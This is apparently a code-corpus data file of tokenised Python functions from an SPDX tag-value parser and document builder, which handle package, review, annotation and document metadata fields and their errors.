{"signature": "def p_pkg_down_location_1(self, p):", "body": "try:<EOL><INDENT>self.builder.set_pkg_down_location(self.document, p[<NUM_LIT:2>])<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "pkg_down_location : PKG_DOWN pkg_down_value", "id": "f3753:c0:m94"}
{"signature": "def p_pkg_down_location_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "pkg_down_location : PKG_DOWN error", "id": "f3753:c0:m95"}
{"signature": "def p_pkg_down_value_1(self, p):", "body": "if six.PY2:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL><DEDENT>", "docstring": "pkg_down_value : LINE", "id": "f3753:c0:m96"}
{"signature": "def p_pkg_down_value_2(self, p):", "body": "p[<NUM_LIT:0>] = utils.SPDXNone()<EOL>", "docstring": "pkg_down_value : NONE", "id": "f3753:c0:m97"}
{"signature": "def p_pkg_down_value_3(self, p):", "body": "p[<NUM_LIT:0>] = utils.NoAssert()<EOL>", "docstring": "pkg_down_value : NO_ASSERT", "id": "f3753:c0:m98"}
{"signature": "def p_pkg_orig_1(self, p):", "body": "try:<EOL><INDENT>self.builder.set_pkg_originator(self.document, p[<NUM_LIT:2>])<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "pkg_orig : PKG_ORIG pkg_supplier_values", "id": "f3753:c0:m99"}
{"signature": "def p_pkg_orig_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "pkg_orig : PKG_ORIG error", "id": "f3753:c0:m100"}
{"signature": "def p_pkg_supplier_1(self, p):", "body": "try:<EOL><INDENT>self.builder.set_pkg_supplier(self.document, p[<NUM_LIT:2>])<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL><DEDENT>", "docstring": "pkg_supplier : PKG_SUPPL pkg_supplier_values", "id": "f3753:c0:m101"}
{"signature": "def p_pkg_supplier_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "pkg_supplier : PKG_SUPPL error", "id": "f3753:c0:m102"}
{"signature": "def p_pkg_supplier_values_1(self, p):", "body": "p[<NUM_LIT:0>] = utils.NoAssert()<EOL>", "docstring": "pkg_supplier_values : NO_ASSERT", "id": "f3753:c0:m103"}
{"signature": "def p_pkg_supplier_values_2(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "pkg_supplier_values : entity", "id": "f3753:c0:m104"}
{"signature": "def p_pkg_file_name(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.set_pkg_file_name(self.document, value)<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "pkg_file_name : PKG_FILE_NAME LINE", "id": "f3753:c0:m105"}
{"signature": "def p_pkg_file_name_1(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "pkg_file_name : PKG_FILE_NAME error", "id": "f3753:c0:m106"}
{"signature": "def p_package_version_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.set_pkg_vers(self.document, value)<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "package_version : PKG_VERSION LINE", "id": "f3753:c0:m107"}
{"signature": "def p_package_version_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "package_version : PKG_VERSION error", "id": "f3753:c0:m108"}
{"signature": "def p_package_name(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.create_package(self.document, value)<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "package_name : PKG_NAME LINE", "id": "f3753:c0:m109"}
{"signature": "def p_package_name_1(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "package_name : PKG_NAME error", "id": "f3753:c0:m110"}
{"signature": "def p_reviewer_1(self, p):", "body": "self.builder.add_reviewer(self.document, p[<NUM_LIT:2>])<EOL>", "docstring": "reviewer : REVIEWER entity", "id": "f3753:c0:m111"}
{"signature": "def p_reviewer_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "reviewer : REVIEWER error", "id": "f3753:c0:m112"}
{"signature": "def p_review_date_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.add_review_date(self.document, value)<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "review_date : REVIEW_DATE DATE", "id": "f3753:c0:m113"}
{"signature": "def p_review_date_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "review_date : REVIEW_DATE error", "id": "f3753:c0:m114"}
{"signature": "def p_review_comment_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.add_review_comment(self.document, value)<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "review_comment : REVIEW_COMMENT TEXT", "id": "f3753:c0:m115"}
{"signature": "def p_review_comment_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "review_comment : REVIEW_COMMENT error", "id": "f3753:c0:m116"}
{"signature": "def p_annotator_1(self, p):", "body": "self.builder.add_annotator(self.document, p[<NUM_LIT:2>])<EOL>", "docstring": "annotator : ANNOTATOR entity", "id": "f3753:c0:m117"}
{"signature": "def p_annotator_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "annotator : ANNOTATOR error", "id": "f3753:c0:m118"}
{"signature": "def p_annotation_date_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.add_annotation_date(self.document, value)<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "annotation_date : ANNOTATION_DATE DATE", "id": "f3753:c0:m119"}
{"signature": "def p_annotation_date_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "annotation_date : ANNOTATION_DATE error", "id": "f3753:c0:m120"}
{"signature": "def p_annotation_comment_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.add_annotation_comment(self.document, value)<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "annotation_comment : ANNOTATION_COMMENT TEXT", "id": "f3753:c0:m121"}
{"signature": "def p_annotation_comment_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "annotation_comment : ANNOTATION_COMMENT error", "id": "f3753:c0:m122"}
{"signature": "def p_annotation_type_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.add_annotation_type(self.document, value)<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "annotation_type : ANNOTATION_TYPE LINE", "id": "f3753:c0:m123"}
{"signature": "def p_annotation_type_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(<EOL>p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "annotation_type : ANNOTATION_TYPE error", "id": "f3753:c0:m124"}
{"signature": "def p_annotation_spdx_id_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.set_annotation_spdx_id(self.document, value)<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "annotation_spdx_id : ANNOTATION_SPDX_ID LINE", "id": "f3753:c0:m125"}
{"signature": "def p_annotation_spdx_id_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(<EOL>p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "annotation_spdx_id : ANNOTATION_SPDX_ID error", "id": "f3753:c0:m126"}
{"signature": "def p_lics_list_ver_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.set_lics_list_ver(self.document, value)<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(<EOL>p[<NUM_LIT:2>], p.lineno(<NUM_LIT:2>))<EOL>self.logger.log(msg)<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "locs_list_ver : LIC_LIST_VER LINE", "id": "f3753:c0:m127"}
{"signature": "def p_lics_list_ver_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "locs_list_ver : LIC_LIST_VER error", "id": "f3753:c0:m128"}
{"signature": "def p_doc_comment_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.set_doc_comment(self.document, value)<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "doc_comment : DOC_COMMENT TEXT", "id": "f3753:c0:m129"}
{"signature": "def p_doc_comment_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "doc_comment : DOC_COMMENT error", "id": "f3753:c0:m130"}
{"signature": "def p_doc_namespace_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.set_doc_namespace(self.document, value)<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p[<NUM_LIT:2>], p.lineno(<NUM_LIT:2>))<EOL>self.logger.log(msg)<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "doc_namespace : DOC_NAMESPACE LINE", "id": "f3753:c0:m131"}
{"signature": "def p_doc_namespace_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "doc_namespace : DOC_NAMESPACE error", "id": "f3753:c0:m132"}
{"signature": "def p_data_license_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.set_doc_data_lics(self.document, value)<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p[<NUM_LIT:2>], p.lineno(<NUM_LIT:2>))<EOL>self.logger.log(msg)<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "data_lics : DOC_LICENSE LINE", "id": "f3753:c0:m133"}
{"signature": "def p_data_license_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "data_lics : DOC_LICENSE error", "id": "f3753:c0:m134"}
{"signature": "def p_doc_name_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.set_doc_name(self.document, value)<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "doc_name : DOC_NAME LINE", "id": "f3753:c0:m135"}
{"signature": "def p_doc_name_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "doc_name : DOC_NAME error", "id": "f3753:c0:m136"}
{"signature": "def p_ext_doc_refs_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>doc_ref_id = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL>doc_uri = p[<NUM_LIT:3>].decode(encoding='<STR_LIT:utf-8>')<EOL>ext_doc_chksum = p[<NUM_LIT:4>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>doc_ref_id = p[<NUM_LIT:2>]<EOL>doc_uri = p[<NUM_LIT:3>]<EOL>ext_doc_chksum = p[<NUM_LIT:4>]<EOL><DEDENT>self.builder.add_ext_doc_refs(self.document, doc_ref_id, doc_uri,<EOL>ext_doc_chksum)<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:2>))<EOL>self.logger.log(msg)<EOL><DEDENT>", "docstring": "ext_doc_ref : EXT_DOC_REF DOC_REF_ID DOC_URI EXT_DOC_REF_CHKSUM", "id": "f3753:c0:m137"}
{"signature": "def p_ext_doc_refs_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "ext_doc_ref : EXT_DOC_REF error", "id": "f3753:c0:m138"}
{"signature": "def p_spdx_version_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.set_doc_version(self.document, value)<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p[<NUM_LIT:2>], p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL><DEDENT>", "docstring": "spdx_version : DOC_VERSION LINE", "id": "f3753:c0:m139"}
{"signature": "def p_spdx_version_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "spdx_version : DOC_VERSION error", "id": "f3753:c0:m140"}
{"signature": "def p_creator_comment_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.set_creation_comment(self.document, value)<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "creator_comment : CREATOR_COMMENT TEXT", "id": "f3753:c0:m141"}
{"signature": "def p_creator_comment_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "creator_comment : CREATOR_COMMENT error", "id": "f3753:c0:m142"}
{"signature": "def p_creator_1(self, p):", "body": "self.builder.add_creator(self.document, p[<NUM_LIT:2>])<EOL>", "docstring": "creator : CREATOR entity", "id": "f3753:c0:m143"}
{"signature": "def p_creator_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "creator : CREATOR error", "id": "f3753:c0:m144"}
{"signature": "def p_created_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.set_created_date(self.document, value)<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "created : CREATED DATE", "id": "f3753:c0:m145"}
{"signature": "def p_created_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "created : CREATED error", "id": "f3753:c0:m146"}
{"signature": "def p_entity_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:1>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:1>]<EOL><DEDENT>p[<NUM_LIT:0>] = self.builder.build_tool(self.document, value)<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>msg = ERROR_MESSAGES['<STR_LIT>'].format(p[<NUM_LIT:1>], p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>self.error = True<EOL>p[<NUM_LIT:0>] = None<EOL><DEDENT>", "docstring": "entity : TOOL_VALUE", "id": "f3753:c0:m147"}
{"signature": "def p_entity_2(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:1>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:1>]<EOL><DEDENT>p[<NUM_LIT:0>] = self.builder.build_org(self.document, value)<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>msg = ERROR_MESSAGES['<STR_LIT>'].format(p[<NUM_LIT:1>], p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>self.error = True<EOL>p[<NUM_LIT:0>] = None<EOL><DEDENT>", "docstring": "entity : ORG_VALUE", "id": "f3753:c0:m148"}
{"signature": "def p_entity_3(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:1>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:1>]<EOL><DEDENT>p[<NUM_LIT:0>] = self.builder.build_person(self.document, value)<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>msg = ERROR_MESSAGES['<STR_LIT>'].format(p[<NUM_LIT:1>], p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>self.error = True<EOL>p[<NUM_LIT:0>] = None<EOL><DEDENT>", "docstring": "entity : PERSON_VALUE", "id": "f3753:c0:m149"}
{"signature": "def checksum_from_sha1(value):", "body": "<EOL>CHECKSUM_RE = re.compile('<STR_LIT>', re.UNICODE)<EOL>match = CHECKSUM_RE.match(value)<EOL>if match:<EOL><INDENT>return checksum.Algorithm(identifier='<STR_LIT>', value=match.group(<NUM_LIT:1>))<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Return an spdx.checksum.Algorithm instance representing the SHA1\nchecksum or None if does not match CHECKSUM_RE.", "id": "f3754:m0"}
{"signature": "def str_from_text(text):", "body": "REGEX = re.compile('<STR_LIT>', re.UNICODE)<EOL>match = REGEX.match(text)<EOL>if match:<EOL><INDENT>return match.group(<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Return content of a free form text block as a string.", "id": "f3754:m1"}
{"signature": "def set_doc_version(self, doc, value):", "body": "if not self.doc_version_set:<EOL><INDENT>self.doc_version_set = True<EOL>m = self.VERS_STR_REGEX.match(value)<EOL>if m is None:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>doc.version = version.Version(major=int(m.group(<NUM_LIT:1>)),<EOL>minor=int(m.group(<NUM_LIT:2>)))<EOL>return True<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Set the document version.\nRaise SPDXValueError if malformed value, CardinalityError\nif already defined", "id": "f3754:c0:m1"}
{"signature": "def set_doc_data_lics(self, doc, lics):", "body": "if not self.doc_data_lics_set:<EOL><INDENT>self.doc_data_lics_set = True<EOL>if validations.validate_data_lics(lics):<EOL><INDENT>doc.data_license = document.License.from_identifier(lics)<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the document data license.\n        Raises value error if malformed value, CardinalityError\n        if already defined.", "id": "f3754:c0:m2"}
{"signature": "def set_doc_name(self, doc, name):", "body": "if not self.doc_name_set:<EOL><INDENT>doc.name = name<EOL>self.doc_name_set = True<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the document name.\n        Raises CardinalityError if already defined.", "id": "f3754:c0:m3"}
{"signature": "def set_doc_spdx_id(self, doc, doc_spdx_id_line):", "body": "if not self.doc_spdx_id_set:<EOL><INDENT>if doc_spdx_id_line == '<STR_LIT>':<EOL><INDENT>doc.spdx_id = doc_spdx_id_line<EOL>self.doc_spdx_id_set = True<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the document SPDX Identifier.\n        Raises value error if malformed value, CardinalityError\n        if already defined.", "id": "f3754:c0:m4"}
{"signature": "def set_doc_comment(self, doc, comment):", "body": "if not self.doc_comment_set:<EOL><INDENT>self.doc_comment_set = True<EOL>if validations.validate_doc_comment(comment):<EOL><INDENT>doc.comment = str_from_text(comment)<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets document comment, Raises CardinalityError if\n        comment already set.\n        Raises SPDXValueError if comment is not free form text.", "id": "f3754:c0:m5"}
{"signature": "def set_doc_namespace(self, doc, namespace):", "body": "if not self.doc_namespace_set:<EOL><INDENT>self.doc_namespace_set = True<EOL>if validations.validate_doc_namespace(namespace):<EOL><INDENT>doc.namespace = namespace<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the document namespace.\n        Raise SPDXValueError if malformed value, CardinalityError\n        if already defined.", "id": "f3754:c0:m6"}
{"signature": "def reset_document(self):", "body": "<EOL>self.doc_version_set = False<EOL>self.doc_comment_set = False<EOL>self.doc_namespace_set = False<EOL>self.doc_data_lics_set = False<EOL>self.doc_name_set = False<EOL>self.doc_spdx_id_set = False<EOL>", "docstring": "Resets the state to allow building new documents", "id": "f3754:c0:m7"}
